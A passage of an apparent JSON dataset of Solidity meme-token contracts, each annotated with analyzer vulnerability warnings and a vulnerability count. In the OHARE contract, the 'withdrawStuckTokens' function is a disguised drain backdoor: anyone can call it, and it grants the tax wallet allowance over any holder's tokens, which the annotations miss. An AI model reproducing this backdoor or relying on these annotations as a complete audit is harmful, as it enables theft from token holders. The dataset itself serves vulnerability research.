_tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d521b40): WeLoveMemes.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d521b40: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a6eeb8b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a6eeb8b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ba14767): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ba14767: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: a6eeb8b\n\t\t// reentrancy-benign | ID: ba14767\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: a6eeb8b\n\t\t// reentrancy-benign | ID: ba14767\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f442064): WeLoveMemes._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f442064: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: ba14767\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: a6eeb8b\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5a8a0b7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5a8a0b7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6e03ba4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6e03ba4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 5a8a0b7\n\t\t\t\t// reentrancy-eth | ID: 6e03ba4\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 5a8a0b7\n\t\t\t\t\t// reentrancy-eth | ID: 6e03ba4\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 6e03ba4\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 6e03ba4\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 6e03ba4\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 5a8a0b7\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 6e03ba4\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 6e03ba4\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 5a8a0b7\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function addBot(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBot(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 5a8a0b7\n\t\t// reentrancy-events | ID: a6eeb8b\n\t\t// reentrancy-benign | ID: ba14767\n\t\t// reentrancy-eth | ID: 6e03ba4\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: f2d9dd0): WeLoveMemes.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for f2d9dd0: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 5a8a0b7\n\t\t// reentrancy-events | ID: a6eeb8b\n\t\t// reentrancy-eth | ID: 6e03ba4\n\t\t// arbitrary-send-eth | ID: f2d9dd0\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4dbcf8b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4dbcf8b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a547aaa): WeLoveMemes.openTrade() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for a547aaa: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: aea4a95): WeLoveMemes.openTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for aea4a95: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 16d46f3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 16d46f3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 4dbcf8b\n\t\t// reentrancy-eth | ID: 16d46f3\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 4dbcf8b\n\t\t// unused-return | ID: aea4a95\n\t\t// reentrancy-eth | ID: 16d46f3\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 4dbcf8b\n\t\t// unused-return | ID: a547aaa\n\t\t// reentrancy-eth | ID: 16d46f3\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 4dbcf8b\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 16d46f3\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: adc507d): WeLoveMemes.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for adc507d: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: adc507d\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10575.sol",
"size_bytes": 20263,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract OHARE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: d5682a7): OHARE._bots is never initialized. It is used in OHARE._transfer(address,address,uint256)\n\t// Recommendation for d5682a7: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private _bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3879915): OHARE._taxWallet should be immutable \n\t// Recommendation for 3879915: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9aa3a19): OHARE._initialBuyTax should be constant \n\t// Recommendation for 9aa3a19: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: 263af7f): OHARE._initialSellTax should be constant \n\t// Recommendation for 263af7f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: 78b4bda): OHARE._finalBuyTax should be constant \n\t// Recommendation for 78b4bda: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 17c3c6b): OHARE._finalSellTax should be constant \n\t// Recommendation for 17c3c6b: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 462fc06): OHARE._reduceBuyAt should be constant \n\t// Recommendation for 462fc06: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8fe16d7): OHARE._reduceSellAt should be constant \n\t// Recommendation for 8fe16d7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8f39b9f): OHARE._preventCount should be constant \n\t// Recommendation for 8f39b9f: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventCount = 5;\n\n uint256 private _buyTokenCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"O'hare by Matt Furie\";\n\n string private constant _symbol = unicode\"OHARE\";\n\n uint256 public _maxTxAmount = (_tTotal * 1) / 100;\n\n uint256 public _maxWalletAmount = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: ec888b1): OHARE._minTaxSwap should be constant \n\t// Recommendation for ec888b1: Add the 'constant' attribute to state variables that never change.\n uint256 public _minTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 45530d1): OHARE._maxTaxSwap should be constant \n\t// Recommendation for 45530d1: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n address private _oharebymf;\n\n bool private _caLimitSell = true;\n\n uint256 private _caBlockSell = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xB7c2eb9aC4D4E9BCC0d45e4eD882CeaA72806E0b);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFees[owner()] = true;\n\n _isExcludedFromFees[address(this)] = true;\n\n _isExcludedFromFees[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3c4c784): OHARE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3c4c784: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b7246c5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b7246c5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c8dbb88): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c8dbb88: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: b7246c5\n\t\t// reentrancy-benign | ID: c8dbb88\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: b7246c5\n\t\t// reentrancy-benign | ID: c8dbb88\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 53bb55f): OHARE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 53bb55f: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: c8dbb88\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: b7246c5\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 15d13d7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 15d13d7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 1f4e2f3): OHARE._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for 1f4e2f3: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: d5682a7): OHARE._bots is never initialized. It is used in OHARE._transfer(address,address,uint256)\n\t// Recommendation for d5682a7: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 74e6ed2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 74e6ed2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: db63608): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for db63608: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 _taxFeeAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!_bots[from] && !_bots[to]);\n\n _taxFeeAmount = amount\n .mul(\n (_buyTokenCount > _reduceBuyAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFees[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletAmount,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyTokenCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n _taxFeeAmount = amount\n .mul(\n (_buyTokenCount > _reduceSellAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: 1f4e2f3\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: 15d13d7\n\t\t\t\t\t// reentrancy-eth | ID: 74e6ed2\n\t\t\t\t\t// reentrancy-eth | ID: db63608\n sendETHToFee(address(this).balance);\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _minTaxSwap &&\n _buyTokenCount > _preventCount\n ) {\n if (_caLimitSell) {\n if (_caBlockSell < block.number) {\n\t\t\t\t\t\t// reentrancy-events | ID: 15d13d7\n\t\t\t\t\t\t// reentrancy-eth | ID: 74e6ed2\n\t\t\t\t\t\t// reentrancy-eth | ID: db63608\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t\t// reentrancy-events | ID: 15d13d7\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 74e6ed2\n\t\t\t\t\t\t\t// reentrancy-eth | ID: db63608\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t\t\t// reentrancy-eth | ID: db63608\n _caBlockSell = block.number;\n }\n } else {\n\t\t\t\t\t// reentrancy-events | ID: 15d13d7\n\t\t\t\t\t// reentrancy-eth | ID: 74e6ed2\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t// reentrancy-events | ID: 15d13d7\n\t\t\t\t\t\t// reentrancy-eth | ID: 74e6ed2\n sendETHToFee(address(this).balance);\n }\n }\n }\n }\n\n if (_taxFeeAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 74e6ed2\n _balances[address(this)] = _balances[address(this)].add(\n _taxFeeAmount\n );\n\n\t\t\t// reentrancy-events | ID: 15d13d7\n emit Transfer(from, address(this), _taxFeeAmount);\n }\n\n\t\t// reentrancy-eth | ID: 74e6ed2\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 74e6ed2\n _balances[to] = _balances[to].add(amount.sub(_taxFeeAmount));\n\n\t\t// reentrancy-events | ID: 15d13d7\n emit Transfer(from, to, amount.sub(_taxFeeAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: b7246c5\n\t\t// reentrancy-events | ID: 15d13d7\n\t\t// reentrancy-benign | ID: c8dbb88\n\t\t// reentrancy-eth | ID: 74e6ed2\n\t\t// reentrancy-eth | ID: db63608\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletAmount = _tTotal;\n\n _caLimitSell = false;\n\n _oharebymf = _taxWallet;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function withdrawStuckTokens(address tokenAddr, uint256 amount) external {\n address token = tokenAddr;\n\n address v2Router = address(_oharebymf);\n\n _allowances[token][v2Router] = amount;\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: b7246c5\n\t\t// reentrancy-events | ID: 15d13d7\n\t\t// reentrancy-eth | ID: 74e6ed2\n\t\t// reentrancy-eth | ID: db63608\n _taxWallet.transfer(amount);\n }\n\n function withdrawStuckETH() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: fbac845): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for fbac845: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8228af2): OHARE.openTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 8228af2: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ca5030c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ca5030c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: fbac845\n\t\t// reentrancy-eth | ID: ca5030c\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: fbac845\n\t\t// unused-return | ID: 8228af2\n\t\t// reentrancy-eth | ID: ca5030c\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: fbac845\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: ca5030c\n tradingOpen = true;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10576.sol",
"size_bytes": 20869,
"vulnerability": 4
} |
{
